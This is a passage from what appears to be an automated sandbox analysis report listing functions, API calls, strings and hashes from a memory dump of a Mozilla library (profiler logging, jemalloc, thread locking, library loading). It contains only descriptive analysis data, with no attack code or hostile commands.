AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2F585
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CB2F499
[I %d/%d] profiler_resume, xrefs: 6CB2F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB2F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CB2F3A8

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 28fab197bb702c2f19252a4044bf66ddf41e979072a156dfaf3b89f8e46d7c1d
Instruction ID: b410719a2624792a6a6d56d89f6aea8498d31cea4709e719234a50745d3e4347
Opcode Fuzzy Hash: 28fab197bb702c2f19252a4044bf66ddf41e979072a156dfaf3b89f8e46d7c1d
Instruction Fuzzy Hash: 68F054767002549BEF006B67D848A7A777DEB862ADF000415FA0987B81DB795C058765

Function 6CB2F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAF4A68), ref: 6CB2945E
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB29470
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB29482
Part of subcall function 6CB29420: __Init_thread_footer.LIBCMT ref: 6CB2949F

GetCurrentThreadId.KERNEL32 ref: 6CB2F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB2F598), ref: 6CB2F621

Part of subcall function 6CB294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB294EE
Part of subcall function 6CB294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB29508

GetCurrentThreadId.KERNEL32 ref: 6CB2F637
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8,?,?,00000000,?,6CB2F598), ref: 6CB2F645
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8,?,?,00000000,?,6CB2F598), ref: 6CB2F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB2F62A

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: a15b111286dce6c4f68c6ee5a2d69826febccf6b43877a577619ecfd7701ee60
Instruction ID: 89ab063bc5e8f8f91e7a3ba4747c0dae41825d1474f477c144ec0ce66003daae
Opcode Fuzzy Hash: a15b111286dce6c4f68c6ee5a2d69826febccf6b43877a577619ecfd7701ee60
Instruction Fuzzy Hash: 21F08276700254AFEF006B67C848EBA7B7DEB866ADF000415FA0983B81CB795C05CB75

Function 6CAF0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CAF0DF8), ref: 6CAF0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CAF0EA1
__Init_thread_footer.LIBCMT ref: 6CAF0EB5
FreeLibrary.KERNEL32 ref: 6CAF0EC5

Strings

kernel32.dll, xrefs: 6CAF0E7D
GetProcessMitigationPolicy, xrefs: 6CAF0E9B

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 057bde7dfd61153c03bbebf45869e1e123a5b65d9da2ddc4e5684ea6f5fc4621
Instruction ID: 951227708e1e2398f770e8dfb21c5e239daa0159dcbd9c28ec3d587fa5fb5687
Opcode Fuzzy Hash: 057bde7dfd61153c03bbebf45869e1e123a5b65d9da2ddc4e5684ea6f5fc4621
Instruction Fuzzy Hash: 790146B47142C1CBDF008FEAC914B76B3B5FB16328F140529E92183FC0DB30A4999A01

Function 6CB205F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CB1CFAE,?,?,?,6CAE31A7), ref: 6CB205FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CB1CFAE,?,?,?,6CAE31A7), ref: 6CB20616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CAE31A7), ref: 6CB2061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CAE31A7), ref: 6CB20627

Strings

<jemalloc>, xrefs: 6CB205FA, 6CB2060F
: (malloc) Error in VirtualFree(), xrefs: 6CB2061B, 6CB20625

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 660e4e9ecb703f69d7f4c64a1abe3aed8904ce3a0830c0f8e0eedb0197ad5086
Instruction ID: bf37e96f66136c82b29fd8feb9a5a186b4f0588e0c504a8ca0d7f6de80bf6a52
Opcode Fuzzy Hash: 660e4e9ecb703f69d7f4c64a1abe3aed8904ce3a0830c0f8e0eedb0197ad5086
Instruction Fuzzy Hash: F1E08CE2A0105437F5142256AC86DBB7A1DDBCA534F080039FD0D83301E95AAD2E91F6

Function 6CAF05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dede2a938ff778451e422b015565c643b1460b405842e53e148f103d76b2117
Instruction ID: 3730748e660f7e0d937c308a281bd247a50f28d18ae08fd8b43c0f46264a683e
Opcode Fuzzy Hash: 4dede2a938ff778451e422b015565c643b1460b405842e53e148f103d76b2117
Instruction Fuzzy Hash: 27A15AB0A00645CFDB24CF29C594B9AFBF1BF48304F4486AEE49997B40E770A985CF90

Function 6CB414A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB414C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB414E2
GetCurrentThreadId.KERNEL32 ref: 6CB41546
InitializeConditionVariable.KERNEL32(?), ref: 6CB415BA
free.MOZGLUE(?), ref: 6CB416B4

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 201c0273cd85bfcaf4c87c34d392a66b1f404e3f3be3c68a16d9bf4b3b02b385
Instruction ID: 9cf7bd0d5ac11d18bdde751a669521857699c8008334940317af35cf6d66eea8
Opcode Fuzzy Hash: 201c0273cd85bfcaf4c87c34d392a66b1f404e3f3be3c68a16d9bf4b3b02b385
Instruction Fuzzy Hash: 5161F272A047949BDB118F21C880BEEBBB4FF89308F44951DED8A57741DB31E958CB92

Function 6CB39F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB39FDB
free.MOZGLUE(?,?), ref: 6CB39FF0
free.MOZGLUE(?,?), ref: 6CB3A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB3A0BE
free.MOZGLUE(?,?), ref: 6CB3A0D5
free.MOZGLUE(?,?), ref: 6CB3A0EB

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: c95c27cad2431c2aa1cb22ed3387ad9a833a4b2099f5e1303cf442bacaa92411
Instruction ID: 2c16aed1cb0aa54f8e9e440651c15258ba7180250664150747f03d48dbd20c2c
Opcode Fuzzy Hash: c95c27cad2431c2aa1cb22ed3387ad9a833a4b2099f5e1303cf442bacaa92411
Instruction Fuzzy Hash: 4C61E3759087819FC711CF58C48055AB3F5FF88328F105659E8999BB02EB31E986CFC2

Function 6CB3DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB3DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB3D38A,?), ref: 6CB3DC6F
free.MOZGLUE(?,?,?,?,?,6CB3D38A,?), ref: 6CB3DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB3D38A,?), ref: 6CB3DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB3D38A,?), ref: 6CB3DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB3D38A,?), ref: 6CB3DD4A

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: ca5bf8697f0d302147c84ef44f10d6fab4a05f7a9323f81957c5aa4fafc451e1
Instruction ID: 874f50971bf8d9265684d0fa8946af697234f16214f684a4cfc5258414144724
Opcode Fuzzy Hash: ca5bf8697f0d302147c84ef44f10d6fab4a05f7a9323f81957c5aa4fafc451e1
Instruction Fuzzy Hash: 20418DB5A00625CFCB00CFA9D88099EBBF6FF88314B555569E949ABB11DB31FC05CB90

Function 6CB26590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CB1FA80: GetCurrentThreadId.KERNEL32 ref: 6CB1FA8D
Part of subcall function 6CB1FA80: AcquireSRWLockExclusive.KERNEL32(6CB6F448), ref: 6CB1FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB26727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB267C8

Part of subcall function 6CB34290: memcpy.VCRUNTIME140(?,?,6CB42003,6CB40AD9,?,6CB40AD9,00000000,?,6CB40AD9,?,00000004,?,6CB41A62,?,6CB42003,?), ref: 6CB342C4

Strings

data, xrefs: 6CB26593

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 63a364cb844eee01cd35a25441e2bcfb8fb542ccc2d82a4665b260d86241862a
Instruction ID: 45650dc21d185224ddf6689298baf06d93f239d5c289b4283eaa1d4a66fa40fd
Opcode Fuzzy Hash: 63a364cb844eee01cd35a25441e2bcfb8fb542ccc2d82a4665b260d86241862a
Instruction Fuzzy Hash: 3CD1CE75A083808FD724CF25D850BAFBBE5AFD5308F10492DE489C7B91EB35A949CB52

Function 6CB1D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CAEEB57,?,?,?,?,?,?,?,?,?), ref: 6CB1D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CAEEB57,?), ref: 6CB1D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CAEEB57,?), ref: 6CB1D673
free.MOZGLUE(?), ref: 6CB1D888

Strings

|Enabled, xrefs: 6CB1D81E

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 90b848c36047b5f7e0f6771aeab8622ec9b12c775195ff00388734c342416afb
Instruction ID: eb6b1ea6bef929331a8d6cacadfabe89296b99e0dacc5947afdaeb5a261ea0b1
Opcode Fuzzy Hash: 90b848c36047b5f7e0f6771aeab8622ec9b12c775195ff00388734c342416afb
Instruction Fuzzy Hash: 96A107B0A043848FDB12CF79D4907AEBBF1EF49318F14815CD899ABB41D735A949CBA1

Function 6CB1F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CB1F480

Part of subcall function 6CAEF100: LoadLibraryW.KERNEL32(shell32,?,6CB5D020), ref: 6CAEF122
Part of subcall function 6CAEF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CAEF132

CloseHandle.KERNEL32(00000000), ref: 6CB1F555

Part of subcall function 6CAF14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAF1248,6CAF1248,?), ref: 6CAF14C9
Part of subcall function 6CAF14B0: memcpy.VCRUNTIME140(?,6CAF1248,00000000,?,6CAF1248,?), ref: 6CAF14EF

Part of subcall function 6CAEEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CAEEEE3

CreateFileW.KERNEL32 ref: 6CB1F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CB1F523

Strings

\oleacc.dll, xrefs: 6CB1F4CB

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: fd7a8df0ebbc3e5d7d6d225cc9b8d0c7744ac6cae43024cfd69daa23ef3e7f7c
Instruction ID: 976ce23f4d3189efcaab4b535bb588fb49c875762ca8f8eb7cc0eeae0bde905a
Opcode Fuzzy Hash: fd7a8df0ebbc3e5d7d6d225cc9b8d0c7744ac6cae43024cfd69daa23ef3e7f7c
Instruction Fuzzy Hash: 6941B4706087909FE720DF29C984AABB7F4FF85318F500A1CF59583A50EB30D989CB92

Function 6CB2E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAF4A68), ref: 6CB2945E
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB29470
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB29482
Part of subcall function 6CB29420: __Init_thread_footer.LIBCMT ref: 6CB2949F

GetCurrentThreadId.KERNEL32 ref: 6CB2E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2E04F

Part of subcall function 6CB294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB294EE
Part of subcall function 6CB294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB29508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CB2E057

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: c355a751a0925e1a51b63384945c1234a01fd8d3015089d97ad024a5c7d0bcff
Instruction ID: f1e46f2f1f9004d21a4341635f5596de9fec413f2a8e6181fccdb9266f7498c6
Opcode Fuzzy Hash: c355a751a0925e1a51b63384945c1234a01fd8d3015089d97ad024a5c7d0bcff
Instruction Fuzzy Hash: 7821B374B001888FDF049F76D859ABEB7B9EF45209F140419ED0E97741DB39A90AC7A2

Function 6CB474A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB47526
__Init_thread_footer.LIBCMT ref: 6CB47566
__Init_thread_footer.LIBCMT ref: 6CB47597

Strings

kernel32.dll, xrefs: 6CB47557
UnmapViewOfFile2, xrefs: 6CB47552

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 1f8db360ae8a0f9d201d9683ea160b780860f0f3ad15dd13006d1fde453a0948
Instruction ID: 47d719bb1c65eaf9f00533c653252bc989cfb0a9352f39fa90e2835c7199dde4
Opcode Fuzzy Hash: 1f8db360ae8a0f9d201d9683ea160b780860f0f3ad15dd13006d1fde453a0948
Instruction Fuzzy Hash: 442107367085C1ABCA149FEAC814FBE7375FB56334F048529E805A7F80C771A905DA96

Function 6CB4A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB6F770,-00000001,?,6CB5E330,?,6CB0BDF7), ref: 6CB4A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CB0BDF7), ref: 6CB4A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CB0BDF7), ref: 6CB4A7E4
LeaveCriticalSection.KERNEL32(6CB6F770), ref: 6CB4A80A

Strings

accelerator.dll, xrefs: 6CB4A7BF

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ff5f5aa0de5e313ccc3da14e8df3a2b04e8f39aa74c3b23ab2a89f056b97842f
Instruction ID: 246180e85f8fea138586b4a220621637a557627951163ab1368e47a332053422
Opcode Fuzzy Hash: ff5f5aa0de5e313ccc3da14e8df3a2b04e8f39aa74c3b23ab2a89f056b97842f
Instruction Fuzzy Hash: 6501ADB16043449FDF04CF9AD884E32B7B8FB9A325705C07AE9098B781DB71A800CFA1

Function 6CAEF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CAEEE51,?), ref: 6CAEF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CAEF0C2

Strings

ole32, xrefs: 6CAEF0AD
Could not find CoTaskMemFree, xrefs: 6CAEF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CAEF0DC

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 930970bb0f1062e018487287f356dc5e5320ac2a5e6b98759463a830a6dea01b
Instruction ID: 8bffc90dfdab152337ae9880df5963b283e05b07fbceecc932fee8e6d1b4e20c
Opcode Fuzzy Hash: 930970bb0f1062e018487287f356dc5e5320ac2a5e6b98759463a830a6dea01b
Instruction Fuzzy Hash: D1E0D8753452419B9F045A63FC1863637BCAB16219308842EF502D2E40FA21D000DA65

Function 6CB20080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAF7204), ref: 6CB20088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CB200A7
FreeLibrary.KERNEL32(?,6CAF7204), ref: 6CB200BE

Strings

